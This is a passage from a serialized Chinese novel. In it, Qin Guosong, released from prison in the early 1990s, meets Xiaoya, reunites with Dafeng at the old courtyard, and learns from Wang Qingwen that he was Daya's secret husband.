秦国颂来到学校以后,正儿八经的学习没有上几堂课,几乎天天参加学校组织的批判大会,要不就是跟着学生教师们去工厂农村参加实践活动。这些令秦国颂懊悔不已。他甚至在诅咒自己。诅咒他浪费了大好光阴跑到这里来虚度。他怎么也没有想到他朝思暮想的神圣的高等学府竟然会是这样。他内心渴望的知识在这里没有丝毫的踪影,对这座所谓的高等学府知名学府充满了失望。 有一次学校组织了一场批斗大会。批斗的是反动的学术权威《相对论》的支持者崇拜者高级教授张自恒。(具体批斗细节就不展开描绘了。平台有限制。这里删除500字。) 秦国颂目睹了整个批斗现场的惊心动魄。他独自一人站到了批斗台上,心甘情愿的陪着张自恒接受批斗,台下的群众都被他的这一举止惊的目瞪口呆。一个工农兵学员做出如此的行为,让他们百思不得其解。校革委会的领导对他的这个举动更加是气急败坏,马上开会研究决定对秦国颂的处分。 立即除名。遣送回原籍。由原单位对他进行批判教育。 当天学校的批判会刚刚结束。秦国颂回到宿舍。一个人低着头闷着脸一言不发默默的整理的自己的行李。当时学校对他的处分决定还没有发到他手里。他内心深处已然决定离开这个地方。一天也不想多待了。 他打点好行李。一个人默默的离开了学校。去了车站。 他在车站买了一张南去列车的车票。这趟列车的终点站竟然是他们的省会石家庄。于是他神使鬼差的来到了石家庄。 到了石家庄已经是半夜。他凭借了随身携带的学生证在车站附近的一个小旅馆暂时住了下来。在小旅馆,他躺在床上思索着下一步当何去何从。 忽然,他想起了一个人。这个人不是别人。就是省法院的黄国英。 第34章 复活 故事在继续。我们跟着主人公跳跃的思维。跳跃到了90年代。穿越的故事往往都是穿越到以前的年代,而秦国颂恰恰是个不按常理出牌的人。他偏偏要把年代穿越到以后。他想把未知的事情变成现实,然而这恰恰就是现实。这也许就是他能看懂《相对论》的缘故。他能把未知的事情当做已知的来做。这真不是个正常人…… 他在街上看到了大雅…… 秦国颂从监狱里出来,历史的年度已经跨越到90年代初。他这是第2次跨出监狱的大门。两次的牢狱之灾都是因为他的误打误撞而进去的。不知什么原因,命运总是开给他开这样的玩笑。然而这种玩笑开的有些过于大了些。一般人是承受不住的。秦国颂恰恰就不是一般的人。 外面的天空蓝蓝的飘着几朵浮云。夏日的阳光照得他有些睁不开眼睛。他把眼睛闭上,慢慢的适应外面的阳光。他眼前红红的一片,红红的朦胧中加杂着几点跳跃的闪动的黑斑浮动在若隐若现的眼眶中。 当他把眼睛睁开,朦胧中的红色与黑斑全然跳走不见了。就在他向马路的一边望去的时候,突然大雅蹦到了他的面前。快速的从他们面前走过,向着路边的树影走去。 秦国颂着实的吓了一跳。定了定眼神,看着大雅走过去的背影。缓了缓神,跟着那背影一同走过去。 背影在他眼前晃动。扭动着腰肢散发出青春的荷尔蒙的魅力。秦国颂心想,走到她前面去看看她到底是谁。我不会是见到鬼了吧?他竟然还想到了鬼! 他加快了脚步。走到那款款而行女人并排时用眼睛瞥了一眼这人的脸,这女人长得极漂亮,他没敢看这女人的眼睛。只看了一眼那脸庞,心里一惊,险些脱口而出。大雅! 他走过了那女人。又慢慢的放下了脚步。想让这女人从他身旁超过去时,他再仔细的看一眼。 女人在他身旁款款而过。这一次他盯着这个女人的脸看。他看清了,确实是大雅!他紧赶了几步。叫她: “大雅!大雅……” 这女人站住了。回过头。望着他问:“你喊谁?” 秦国颂怔怔的看着她:“你啊?你不是大雅吗?” “我是小雅!”女人噗嗤一下笑出声来。 “小雅?我看你分明就是大雅嘛。”秦国颂分辨的说道。 “嗯。叫我什么都行。你怎么认识我?我没有见过你。”女人笑笑说。 “好多年了……”秦国颂似乎想起了什么。“你住的那房子翻新了,翻盖成了两间。是一个叫范志勇的新结婚的两口子在那儿住。那新媳妇跟你一样都是高阳老家的。他们还在那儿住吗?” 这女人愣怔的看着秦国颂,不知道如何回答他是好。又看了他浑身的穿戴,干净而整洁。就是衣服的款式太落后了。她想着这人是不是冷冻了20多年?今天才解冻了。于是,她好奇的问道。 “看来你认识我们家?” 秦国颂点了点头。“岂止是认识……” “我可不认识你。咱们见过面吗?” “岂止是见过……我还知道你生下过一个孩子。那孩子叫小雅,大凤给你养着……” “啊啊!我叫小雅!”女人惊讶的张了嘴说到。 秦国颂摇了摇头。微微一笑。“瞎说。小雅还是个孩子……” 这个叫小雅的女人一把抓住秦国颂的手。 “真的,我真的是小雅,向毛主席保证。” 秦国颂似乎从梦中醒来。看着眼前的女人。点头又摇头。脸上似笑非笑。 “真像,太像了……” 那个自称叫小雅的女人看着他问道。 “那,那你叫什么?你还没跟我说呢。” “哦。我,我叫秦国颂,我刚从监狱出来。就,就是刚才。坐公交车准备回家。来这边倒车的,准备找个人问一下我们家那边通几路车。然后,然后就看到了你……” “我的天哪!你就是人们常念着的秦国颂秦叔叔?真没想到让我碰到了……你还没吃饭吧!饿了吗?”小雅兴奋的连连说道。 这个女人真的是小雅,小雅长大了。 秦国颂却叫她大雅。因为他的精神状况已经出现了一些问题。(他精神出现状况的原因都在被作者删除的那18章里面。包括他两次入狱的原因。秦国颂自己会慢慢的给我们陈述的。)只不过不是很严重罢了。 秦国颂看着小雅。想了想。点了点头。“早上吃过饭了。现在确实有点饿……没关系,我身上有钱……” 他从口袋里掏出一个布包。打开布包给小雅看。 “看。好几百块钱了。这是我在里面挣的。那里边也可以挣钱的……” 用手指的指一个比较遥远的地方。因为他指的时候是踮起脚跟儿来向远处指的,这就让我们会想到很遥远的地方。 小雅笑着跟他说。 “我请你秦叔叔。你看一下咱们光站在这里说话了。这天热的。咱们赶紧去找一个凉快一点的饭馆。” 边说边拽着秦国颂的手去找饭馆。 这座城市最大的特点就是饭馆太好找了。沿街楼房下面的门脸基本上不是饭馆就是药店。 他俩进了一家显着比较有档次的饭馆。 小雅热情地招呼秦国颂坐下。先要了一壶茶水。给秦国颂倒了一碗水,让他慢慢的喝。 “你有几年没回家了呀?嗯嗯,就是,也就是你在那边那里面待了几年呀?” 秦国颂想了想。神情有些迷茫。 “我从内蒙古建设兵团跑出来那年……哦不对,那次还早。好像是刚回复考大学的那一年吧。我从建设兵团考入了北京大学。上了两年学就不上了。跟着我们班上的一个同学去开公司。这同学家里很有背景。他爸是一个高干。没过几年这同学被抓了。我也受牵连了,流氓罪……差一点就被枪毙了。那不是正好赶上严打了吗?严打后期形势有些宽松。我们被判了10年。出来时间不长,又被稀里糊涂的抓进去了。这不,刚出来就碰到了你……前后加起来一算十几年了吧?” 小雅静静的听着他的叙述。然后点了菜上了酒。 小雅说。“你想知道咱们院里的事情吗?” 秦国颂点了点头。“我们家还在那儿住吗?” 小雅说。“你爸他们早就搬走了。文革后落实政策,你爸搬到干休所去了。你应当抽空去看看。” 秦国颂摇了摇头。没有说话。 他看了看桌上的饭菜。拿过酒对小雅说。“你想喝酒吗?这是为我要的酒啊。” 小雅夺过酒瓶。扑哧一笑。“净说废话,必须得要喝。为你,为你接风!” 边说边给秦国颂倒了一杯酒。 “给你满上。今天咱俩一醉方休!一会儿我告诉你一个惊天的喜事。先喝酒,不说别的了。” 秦国颂说。“酒可是个好东西。我第一次喝酒就是在大凤家。那天是二凤过生日。我记着呢……第一次喝酒就觉得那酒真好喝。后来也喝过几次,但是总没有那次感觉那酒那么好喝。唉……” 他叹了一口气,眼圈有些红了。 小雅瞪大了眼睛。“你说的大凤?我妈妈……” 秦国颂点了点头,又摇了摇头。 “你们还在那个大院住吗?” “住呀。我和我妈妈还有我姥爷姥姥,还有我小姨她们,我们一大家子都在那儿住。我爸和我妈分居的。我爸在省会省法院宿舍。他经常会来看我妈,我常跟我妈说你们这样生活有什么意思?还不如离了呢。” 边说小雅边给自己的杯里倒了一杯酒。拿起酒杯对秦国颂说:“先不说这些。咱俩喝酒。为你接风,干杯!” 秦国颂给小雅碰了一下杯。愣怔怔的一大口就把酒喝了下去。 小雅瞪着眼睛看着他。“我靠!你到实在,真干了呀?!好勒,舍命陪君子,我也干!” 说完,她也把自己的那杯酒喝了进去。 秦国颂这一杯酒下肚,刚吃了两口菜。小雅又把酒给他满上了。他没等小雅说话,拿起酒杯又要喝。 小雅赶紧拦住了他。“我说秦叔叔……别介,我也不叫你叔叔了,叫你哥吧。邻居辈儿,瞎胡论儿,你不介意吧?我说哥,咱这酒啊,喝慢点行吗?咱不着急。” 秦国颂此时的眼前已经模糊了起来。看坐在他对面的小雅的脸一会儿重叠一会儿清晰。一下子又想起了他第一次在大凤二凤她们家喝的那个酒。给小雅说道。 “这酒把我拉回到20多年前了。我又找到了第1次喝酒的这个感觉。真想你爸爸……想你妈她们……想你妈呀……” “想你妈……大雅……”他看着小雅有些膜糊脸庞,接着问道。“你不是大雅吗?……” 小雅瞪圆吃惊的大眼睛,听着好似秦国颂的自说自话。又有些语无伦次的说的这些话。她拿起酒杯轻轻的抿了一口。面带疑惑像是在问秦国颂,又像是在问她自己。 “我吗?大雅?……” 她忽然想起来了,秦国颂刚在街上见到她的时候。就叫她大雅…… 秦国颂又喝了一大口酒。眼泪流了下来…… 小雅看她流下了眼泪,自己的眼圈也红了。 秦国颂对小雅说。“你姥姥是高阳农村老家的。我去过。和你姨二凤一起去的……我跟你说了,你可要保密,不能对别人讲。咱们家,咱们那个院儿,整个大院都是你们家的……不知道你姥姥还活着没有?我,我带着你,去找你姥姥……听说这个大院里的房契都在你姥姥手里。这是你姥姥亲口对我说的。并且告诉我跟谁都不能说。她怎么就那么相信我呢?她相信我……你姥姥真善良……哎?新翻盖的那两间耳房,是由一间改成两间了。你还常在那屋住吗……那间屋有问题……有问题……改了以后更有问题。那问题就是把那间屋子改成棺材型了……别人愣没有看出来。” 秦国颂一会儿把小雅说成是大雅,又把大雅说成是小雅。小雅懵懵懂懂的听他的说着。她心里想的只有一件事情。不管秦国颂把她当成谁,这已无关紧要。紧要的是她记住了一句话。 这个大院儿都是她们家的。她要把它要回来! 她这也是碰到了秦国颂。如果碰到别人谁去管这样的事情?这可不是要房子那么简单,这是要把小雅的身世揭开了呀。大凤二凤那边怎么办?小雅如果知道了自己的身世,会让她们情何以堪…… 单纯的秦国颂就是这样的单纯。 第35章 复活(续) 秦国颂和小雅两个人继续在饭馆里喝着酒吃菜。两个人差不多把那一瓶白酒都喝光了。小雅又要了两瓶啤酒。冰凉的啤酒倒进杯里浮着厚厚的麦花香的酒沫。 小雅拿起酒杯。用朦胧的眼神看着秦国颂,嘴里有些含含混混的说。 “哥,来,把这杯咱们干了……” 说完咕咚咕咚的就把那杯带着泡沫的凉啤酒喝了下去。她抹了一下嘴。 “真痛快!你也喝呀!哥。” 秦国颂拿起酒杯。一扬脖把那杯啤酒灌了进去。咂了咂嘴。 “嗯,真好喝……咱俩不会是喝多了吧?我觉得真晕。嗯,好像是多点了……” 小雅哈哈的笑了。“是多点了。我也有点晕……没事儿哥,一会儿咱俩打车回去……回家……” 她眯着眼睛看了看秦国颂:“一会儿你回哪儿啊?先去咱们那个大院看看吧?那变化可大了。院中间那道隔墙拆除了,大院里各家新搬来的住户都争先恐后的盖小房子,大院里现在已经成了七拐八拐的小胡同了。早就没那个大院喽!……” 秦国颂眯着眼睛听着她说。 “一进大院门口旁边那两间新盖的房子。也不是新的了,都20多年了。换了好几家的住户,我都记不清楚,都是谁叫什么在那两间房子里住过。最早住的人早就走了……我不记得,那时我还太小。现在住的是一对上了年纪的老年夫妻……哎,我说哥。谁也不知道那对老年夫妻年纪多大了,看模样应该是退休了……你说怪不怪?前几年他们搬过来,没过多久那老太婆怀孕了……生了一个小丫头,叫小英。那老俩不爱说话。几乎跟院里的邻居们都不说话。特别奇怪的是他们家的门口总挂着一个大棉门帘子……一年四季总挂着……邻居们几乎没看到过他们笑。只是好奇的议论。这么大岁数了,竟然还能生孩子?……” “棉门帘子……”秦国颂听到这4个字,把眼瞪大了。他用手揉了揉眼睛,瞪着小雅说。 “那棉门帘子不是你挂的吗?你为什么一年四季总挂那个呀?……” 小雅裂开嘴,傻傻的笑。“说什么呢哥。我有病呀,挂那个!” 秦国颂也没有接他的话题。摇了摇头。“你呀,就是个谜……多少人都想知道。但又没有人知道。包括我……都不知道。就算我知道了,也不能跟你说。因为你姥姥说过。不让我们说。她不想让你知道这些事情,她说怕你对你妈不好……还有二凤知道,但是她肯定也不能给你说。她太聪明了……” 小雅依旧咧着嘴傻笑着。他听着秦国颂这颠三倒四的话。也不去追究,也不去细问。只是呵呵的笑。 他们俩都喝多了…… 小雅头趴在饭桌上眯了一会儿,抬起头来。把那对大大的眼睛眯成了一条缝。笑着对秦国颂中说。 “我听我妈说你跟我二姨特别好。她就是为了你跟你一起去的内蒙古建设兵团。你跟我说说你们俩到底是怎么回事啊?谈恋爱好到什么程度了,给我说说呗?” 秦国颂摇了摇头。“不能说。二凤不让说……”停顿了一下,他问小雅。 “二凤也就是你说的你二姨她怎么样啊?最近回来过吗?在哪儿上班啊?我们两个人算到一起将近20年没有见过面了……”秦国颂拿出手指慢慢的算着。嘴里念念有词。“77年。我考大学。她也考了。第1年没考上。好像是第2年考上的……好像是第2年也没考上……后来呢?因为她早就离开兵团了,比我早多了。她先被抽掉去了兵团的师部,后来又调走了,去了一家杂志的编辑部,她写了好多东西……我都不记得了……因为后来我没办法跟她联系了。我不是进了那里面嘛……”他抬起了手臂,向着饭馆窗外的远处指去。 “你说了半天还没回答我呢。你们俩到底好到什么程度了,能给我说说听听呗?”小雅打断了秦国颂的话。 “秦国颂苦笑了一下。“刚才不是跟你说了吗?她不让说……其实也没什么。这怕什么呀?又不丢人。就是在一起亲过嘴……” “别的没了吗?”小雅有些不相信的摇了摇头。 “没了……还能有什么呀?就这……真的。骗你我是小狗……”秦国颂诚恳的给小雅讲。那真诚的目光,一脸的无辜。 小雅噗哧一声笑了。“就这,还不让说?这,这他妈有什么呀?真单纯……唉,嗨,你们这真是纯洁的爱情啊。” 秦国颂认真的点了点头。 小雅说。“我也好几年没看到过她了。她在省里呢?特别的忙。我爸爸回来的时候倒经常给我们说起她,但是他们也很少见面。我二姨太忙了……经常去北京给电视剧制作中心写剧本。听说她正在创作一部30集的电视连续剧。具体叫什么名字没有透露……” 秦国颂低着头听着。嘴里喃喃的说道。“我知道……名字叫《大院儿》,是电视剧呢还是小说呢?我就不知道了……” 小雅睁大了眼睛看着他。“你怎么知道?……” 秦国颂长长的出了一口气。“20多年前她给我说过……这故事是你姥姥讲给她听的。只讲给她一个人听。后来她跟我说过,要把这个故事写成小说……” “我姥姥?” “是的。是你姥姥……”秦国颂清醒了。他现在好像弄明白了,坐在他对面的不是大雅。而是20多年前大雅生下的那个孩子,小雅。 他直愣愣的看着小雅,语气坚定的对她说。“我一定带着你去高阳见一见你的姥姥……如果她还活着的话……好像我跟你说过吧?你们现在住的那个大院,都是你们家的。你,是那个大院的合法继承人……当然还有你姥姥。但最终继承的还是你!房契都在你姥姥的手里。这个秘密她只对你二姨说过。不过你不能去问你的二姨。她可能不会告诉你……” 小雅缓缓的站了起来。绕过桌子坐到秦国颂的旁边。抽出餐巾纸,轻轻的给秦国颂擦拭流到眼边的泪……秦国颂说起大雅来一下子变得很伤感。 他从小雅手中接过过餐巾纸边擦眼泪边说。 “你和你妈的事我以后会告诉你的。你真可怜……不过你又是幸运的……遇到了这么好的人……” 第36章 扑朔迷离 进入到90年代。我们所熟悉的那座大院已经踪迹皆无。院内被新搬来的住户在院落各家门前的空地上盖了小房,把一个偌大的院落弄成了曲里拐弯儿的胡同。里外院的那道隔墙拆了,里院的假山拆了,假山上的枣树刨掉了。老住户基本上都陆续地搬走了。唯独我们认识的就是张子东一家人。老检察长依旧顽固地住在这座院子里。快八十的人了,依旧精神矍铄。大嗓门说话,大杯喝酒,大口吃肉。放声哈哈一笑,依旧是声若洪钟。 老检察长在这个院落里住的房子依旧是最多。因为他们家姑娘多。他有个规矩,凡是到了结婚年龄的姑娘结了婚以后都搬过来住,倒插门。没别的原因,就是因为他们家在这个院子里的房子多,老爷子喜欢热闹。这可让娶了他们家丫头的男人们心里乐开了花。在这个年代找间房子那比找媳妇难多了。何况即找到了房子,又找到了媳妇儿,两全其美呀。 然而二凤依然没有结婚。就算她结了婚也不会住在这个大院里。因为她在外地工作,极少回家。家里人一两年都不曾见她一面。 住在高老头房间的那个叫范长庚的一家人早就搬走了。间或又换了几家住户。现在新搬来住在高老头原先住的那间房子的人是一个单身男人。他刚搬来不久。是某部队一家医院的退休主任医师。人们都不清楚他为何搬来住在这里。凭他的级别退休前的职务他无论如何都不会住在这里的。然而他偏偏就住在了这里。这个单身男人姓王。叫王清文。 有一天,这个大院里来了一位不速之客。这是一个身材修长,拄着一根拐杖的近八十岁的老人。跟着老人一起来的是一个四五十岁的女人。老人来这里找他几十年失散的亲人。他找的这个人叫曹静稚,老人是从台湾专程来的。海峡两岸通航后他迫不及待地来到了大陆寻找亲人。这个老人就是大雅的父亲王文甫。 在这个大院里没人知道曹静稚这个人。后来老人在居委会打听到一个消息。有可能他找的这个人在清苑,具体在清苑哪里没有人知道。其实呢,唯一知道的就是秦国颂与二凤。他们两个人没有对任何人讲这些事情。其实呢还有一个人知道。这个人便是大凤。 曹静稚还在人世间吗? 曹静稚就是小雅的亲姥姥。 也就是秦国颂答应小雅去清苑找的那个人。 秦国颂和小雅在一起吃完饭跟着小雅一同回到了这个大院。 他们两个人都喝了不少的酒。摇摇晃晃地进了这个大院。 小雅指着大院里的被小房拥挤成的过道对秦国颂说。 “你看看,这就是你要找的大院……你找呀。哈哈,你只能找到回忆……” 秦国颂揉了揉眼睛,在小雅的带领下曲溜拐弯儿地来到了小雅住的房子前。小雅开了门,把他让到了屋内。 “你先在我屋里坐一会儿,我给你倒上水。我去我妈屋里叫她,让她看看是谁来了……”她看了看墙上的挂钟。说了一声。“嗯,估计她现在在家……” 小雅脚下有些打着晃的出了门。 秦国颂一个人在屋里呆呆地坐着。他打量着小雅的房间。屋里布置得很温馨,他一眼便看到了电视柜上的彩色电视机。这是一台平面直角21寸的进口电视机。他看到电视机上的几个英文字母。日本产的索尼牌。他又看到小雅的写字桌上放着一台收录两用机,4个喇叭的。秦国颂看了看那上面的字母,他也认得,日本产的夏普牌。但是他不会使用,因为他从来没有见过,更不知道这些电器的价格。 他拿起小雅给他倒的水杯。喝了一口水。静静地呆呆地看着门外。 随着门外一串极快的脚步声一个女人踏进了屋门。这人看到屋里坐着的秦国颂,一下子就靠在了门框上,跟进来的小雅急忙扶住了她,“妈,妈你怎么了?” 秦国颂从沙发上站起。快步走到这女人面前。一把就把她抱住了。 “凤姐!……” 大凤睁着双眼使劲地看着他。嘴角动了几下,紧紧地把他抱住。先是哽咽着,继而号啕地放声大哭…… 秦国颂抱着大凤两个人挪动地来到了沙发边。他把大凤放到沙发上坐下。自己蹲在大凤面前,一句话都说不出。 小雅赶紧拿毛巾给她妈妈擦泪水。 大凤依旧流着泪。缓缓地说出三个字。 “亲~人~呐!……” 秦国颂流着泪点着头。 大凤仍然流着泪。接过小雅的毛巾,擦着眼睛。她长长的出了一口气,缓缓的说道。 “这么多年了,你死哪儿去了?怎么一点音信都没有啊?连你爸妈他们都不知道……只听说你进那里边了……你可给我们捎个信儿呀……” 秦国颂挪了一下蹲着的腿,一条腿跪在了大凤的面前。抖动了几下嘴唇,说道。“我哪还有脸见你们?我记得我被学校开除后在省会见过国英大哥。哦,那是68年。第二年我和二凤就去了内蒙古建设兵团。你,还有好多人都去送我们……我都记得呢。后来……这都20多年了……” 他看了看旁边的小雅。“她,她都长这么大了。” 小雅眼泪汪汪地看着秦国颂与她妈妈。哽咽地说道。 “真巧。这真是命……我们俩在街上遇到了。他管我叫大雅……”话刚说到这儿,小雅竟然破涕为笑了。 大凤看着小雅,有些嗔怪地说。“真还是个孩子,没正经……” 她又拿毛巾擦拭着眼角流出的泪。 秦国颂央求着大凤。“凤姐,别哭了啊?见面了,我们应该高兴才是。嗯?” 大凤依旧拿着毛巾擦着眼睛点头。 她转脸面向小雅。“你,你刚才说什么?你说你们怎么见面的?他又不认识你。” 小雅说。“对呀,我在街上走着。要去我那个服装店。就听到有人叫大雅。我回了回头。是他,他在叫我。他叫我大雅……” 大凤本能地嗯了一声。又一转脸盯着秦国颂看。“她,她刚才说什么?你,你叫她什么?” 秦国颂看着大凤:“我叫她大雅!” 大凤狠狠地瞪了秦国颂一眼:“你,你疯了吗?” 秦国颂有些傻乎乎的自言自语道:“是,是疯了……” 第37章 王清文 大凤盯着秦国颂看。秦国颂也瞪着眼睛看着她。大凤看着这张既熟悉又忽然觉得有些陌生的面孔,依旧是那么英俊,那么硬气。岁月给这张脸带来了一些棱角,但仍不失带有几分天真单纯的童贞。尤其是这双眼睛,尽管带有几分醉意,依旧是在那里闪烁着智慧的光芒…… 大凤看着这双眼睛。慢慢的说道。 “真,真的疯了?” 秦国颂认真的点了点头。 “第二次进那里边,他,他们就说我有点不正常。以前也有人这样说过。我觉得他们才不正常……” 大凤点了点头。“我没觉得没有什么不正常。不正常的,我看有一个人,那就是你姐夫。” 秦国颂也点了点头。 “国英大哥和我……我们俩很好……” 大凤看了看在旁边坐着的小雅,对小雅说。 “你先出去一下吧。我和他,和你秦叔叔我们俩有话要说。” 小雅把脸扭向一边。“说什么呀?竟然还背着我。你们背着我,我也知道你们要说什么……” “越来越不像话。你说说!你知道什么?我们要说什么?”大凤有些生气的对小雅说道。 “说我呗。”小雅撅着嘴站起了身。 大风哄着小雅说。“不说你。与你无关。我跟他说你爸爸。你爸爸跟他我们都是好朋友。不会说你爸爸坏话的。” 小雅不情愿的走出去。 大凤见小雅走了出去,她关上门招呼秦国颂坐在了沙发上。凑近了秦国颂小声的说。 “你对小雅讲什么了?你怎么给她说大雅的事情?” 秦国颂看着大凤认真的说。“没有,我没有给她说大雅的事情。我只是叫她大雅来着。” “你,你这不是疯了吗?你叫她大雅,她要问你大雅是谁,你怎么回答?” 秦国颂支支吾吾的说。“她没问。我就说她长得像大雅。” “哎呀,你呀你呀。你这不是不打自招了吗?不能让她知道大雅。你懂了吗?想当年你和二凤去她们高阳老家见她姥姥,她姥姥怎么跟你说的?!” “她姥姥不让我们对任何人讲这个事情。” “这不结了?不要对她讲。记住了啊?唉,也是,谁让你们喝那么些酒?都是酒闹的!” 大凤用手扶着秦国颂的肩。诚恳的对他讲。“以后要少喝点酒。听到了吗?如果小雅在问起这些事情来,你就告诉她你喝多了,瞎说着玩儿呢。听懂了吗?我的好兄弟。” 秦国颂也认真的点了点头。 大凤微微一笑,飞速的在秦国颂的脸颊上亲了一下。对着门外大声的喊着。 “小雅小雅!” 小雅循声跑了进来。眉开眼笑的对她妈妈大凤说。“你们说完了?” 大凤和秦国颂一起点了点头。 小雅逗趣的说道。“你们那一章过去了,咱们要翻到下一章了。秦国颂秦叔叔来了,咱们要不要告诉我二姨一下?给他她打个电话。”她看着秦国颂似乎要征求他的意见。 秦国颂竟然有些茫然的抬起脸看着小雅与大凤。“给她打个电话也行。但我觉得她不会回来的。另一个感知告诉我这个。不信,你打一个试试。” 小雅说道。“行呀。电话在我姥爷那屋。哎,对了,你还没去见我姥爷呢。走走,咱们一块儿过去。我姥爷要是见了你呀,晚上吃饭一定要再接着喝酒。” 大凤急忙说道。“晚上你们可不能再喝了。你看看你们现在酒还没醒呢!” 小雅领着秦国颂来到了张子东的房间。老爷子出去遛弯了,没在屋。 小雅拿起电话拨通了二凤的电话。 没人接听。小雅连续的又拨了几次。终于打通了。对方还没有说话,小雅就急速的把电话给了秦国颂。秦国颂接过电话,通话的对方是个男士。秦国颂又把电话还给了小雅。小雅和对方说了几句,把电话放下了。 “我二姨没在。这是我二姨办公室的电话。她同事说我二姨出国了。去开什么会了?什么时候回来他不清楚。” 秦国颂摆了摆手。“你二姨真是个大忙人啊。等过几天再给她打吧……” 大凤看了看秦国颂。对他说:“晚上想吃什么饭?我给你们做……嗯,你不想回家看看你的爸爸妈妈?” 秦国颂摇了摇头。“老爷子跟我脱离父子关系了。听说他一辈子都不想见我。我也就别惹他心烦了。过几天我想偷偷回去看看我妈……” 大凤看了看他,说道。“也行吧。那你就先在我们家住下。我们家房子多。人口也多。等他们一下了班,你看看热闹不热闹吧。简直就是个大集市。” 小雅赶紧的抢话说道。“让秦叔叔住我那屋吧。我和妈一起住。行吗?” 她用眼睛眯了一下大凤。 大凤微笑的点了点头。“行啊。你屋里电视机录音机的什么都有。他不会寂寞的。” 秦国颂不知道说什么话来接应。只是略显局促的点点头。他的脸又红了。 秦国颂暂时的在小雅的屋里住了下来。电视机他不爱看,录音机他又不爱听。白天小雅去她的服装店去打理业务。经常很晚才回家。大凤还去单位上班。她在市检察院的一个科室负责资料调度。工作很清闲。常常下午早早的就回家帮她妈妈做饭。秦国颂百无聊赖地在小雅的屋里呆着。他去书店买了几本他喜欢看的书。现在科技方面的书太多了,多的让他眼花缭乱,应接不暇。但是他的心里还在想着他的相对论。同时又对量子力学产生了兴趣。他想专心致志的多读些这方面的书。 这一天他闲来无事,在院里四处走动。走到了原先高老头住的这间屋子门口,他想走过去绕到后面看看是不是还有那些桑树。他忽然想起了大雅…… 他走到了那排房子后面,看到了那几棵桑树。那些树长大了,长得非常的结实。他在一棵树的树荫下呆呆的坐了一会儿。看着那晃动的树叶,听着婆娑作响的声音。他眼前竟然产生了一些幻境,他真的像是看到了大雅……他忽然觉得自己有些伤感。泪水竟然不由自主的掉了下来。 他掏出纸巾擦了擦自己的眼睛。就在他转脸向他走过来的方向看时。前面缓缓的走过来一个人。他愣怔的看着前面那个人。那个人在树下走着。向他走来。在风动的树叶间似隐似现。那个人走近了他,这个人是个男人。 秦国颂呆呆的在原地坐着。目不转睛的看着走近了他的这个男人。 这男人年纪看上去大约60多岁。个子较高,体态匀称,一张英俊的脸显得和蔼可亲,两只大眼睛炯炯有神。他走到秦国颂跟前,对他微微一笑。秦国颂耳边传来磁性的声音,这声音有些像黄国英。 “你好。新搬来的吧!” 秦国颂抬起脸看着这个人。觉得很眼熟。但想不起在哪里见到过。听他说话的声音非常像黄国英,但不是,这个人的年龄比黄国英大。秦国颂恍惚间感到了身体的一种温暖。 他点了点头。对来人说。“我暂时在这里住几天。就在那边。这院里的老张家里。”他边说边站起来。习惯的用手指了指远方。手抬的很高,意思是绕过这房子的那边。 那人微笑的点了点头。示意他继续坐下,并且自己也随着秦国颂一起坐在了树下的空地上。 那人看出秦国颂有些拘谨。便率先打破沉默。“我也是新搬来的。刚搬来不久。我姓王,叫王清文。在单位他们都叫我王主任。嗯嗯,你也可以这么叫我。我怎么称呼你呢?” 秦国颂看了看这个男人。开口说道。“我姓秦,叫秦国颂。以前是这个院子的老住户。我们家在这个院里住了好多年了……” “啊啊?”王清文睁大了眼睛。“你就是秦国颂?” 秦国颂点了点头。“你知道我?” “知道,都知道。这个院里谁不知道你呀?” “那,那你是怎么知道的?你不是刚搬来的吗?” “通过朋友知道的……” “哦……”秦国颂哦了一声似乎陷入了沉思。 王清文看着秦国颂不说话了。从衣袋里拿出香烟递给秦国颂,秦国颂摆了摆手。王清文从烟盒里抽出一支叼在嘴上,点燃深深的吸了一口。缓缓地将烟雾吐出。 “我叫王清文。哦,对了,跟你说过。我从部队医院转业退休了,嗯,你看我像个什么官?” 王清文打破沉默。边抽烟边说。 秦国颂仔细端详着王清文。看了好一会儿,摇了摇头。“看不出。真的。” 王清文又深深的吸了一口烟。“看不出就看不出吧。其实这也没什么意义。住在这院的有的邻居知道我,他们只知道我是个什么官,但不知道我是谁。我想给你打听一个人,你不介意吧?” 秦国颂看着王清文。“你问吧。随便你问,我什么都不介意。” 王清文用眼睛直视着秦国颂。“你知道这个院里从前有一个人……有一个叫大雅的吗?” 秦国颂浑身像触了电一样。机灵的一下。“知道啊,太知道了,当然知道。就是刚才我来这儿在树下,我还想到她了呢……”秦国颂又看了看王清文。“你打听她干嘛?她20多年前就死了。”他用手指了指大雅原先住的房子的那边。新翻盖房子的时候把窗前那棵桑树刨了,那个地方现在已经用围墙圈起了一个小院。秦国颂的手没有放下,依旧指着这个围墙。他又把手抬高了些,意思是这个围墙的那面。 “就死在那儿。上吊死的。还是我把她抱下来的,给她解的绳子……” 王清文起身一把拉住秦国颂的手。 “好兄弟!好兄弟……”他的声音有些颤抖。 秦国颂有些不解的问道。“你到底是谁呀?打听这个干嘛?” 王清文嘴角颤抖了几下。又猛的吸了几口烟。把烟掐灭。 “我,我是她的丈夫……” 秦国颂“啊”的一声吐出一句惊讶。 “丈夫?我们从没有听说过她有丈夫……” “是的。一定没有多少人知道……我们结婚不到一年……就离婚了……”王清文低下的头,两滴泪珠滚了下来。“在那个年代……没办法呀。我,我是一个军人,大雅的父亲也是一个军人。可,可他父亲在台湾……我们只能离婚……但是,我们,我们爱着……我们撕心裂肺的爱着……离婚以后,我常背着组织偷偷的来这儿给她见面……” “在这儿……”秦国颂用手指了指桑树下面。 “大多时候都是在这儿。就是她后窗户旁边那棵桑树下面。我们不敢在屋里,怕被人发现……” 秦国颂惊呆呆的看着王清文。他不敢相信王清文说的这竟然是真的。他愤怒的说道。“一对曾经的合法夫妻竟然沦落到被迫行苟且之事,这世道还有他妈天理吗?!” 王清文一下子落下了眼泪。忽然间老泪纵横,竟委屈的像个孩子似的哭起来……哭了一会儿,他颤抖着又拿出一支香烟,并且习惯性的递给了秦国颂一支,秦国颂下意识的用手接了过来。他先给自己点着,发现没有给秦国颂点,感忙又给秦国颂点着。 秦国颂傻乎乎的吸了一口。呛得他直咳嗽。 “后来呢……”秦国颂看着平静些了的王清文,主动的问。 “后来,后来她就怀孕了。怕被人知道,就回了高阳老家。第二年四月份,她生了一个女孩。这个女孩就是小雅……是她写信告诉我的。她只给我写过一封信,信封上没有写她的地址。只写上内详两个字。信里面也没写地址……她这是为了保护我呀!怕信被人偷看……那个年代是没有隐私可言的……” 秦国颂默默的听着,一句话也说不出。过了一会儿,他问。“你知道那小雅现在在哪儿吗?” 王清文默默的点了点头。“就在这院里……” 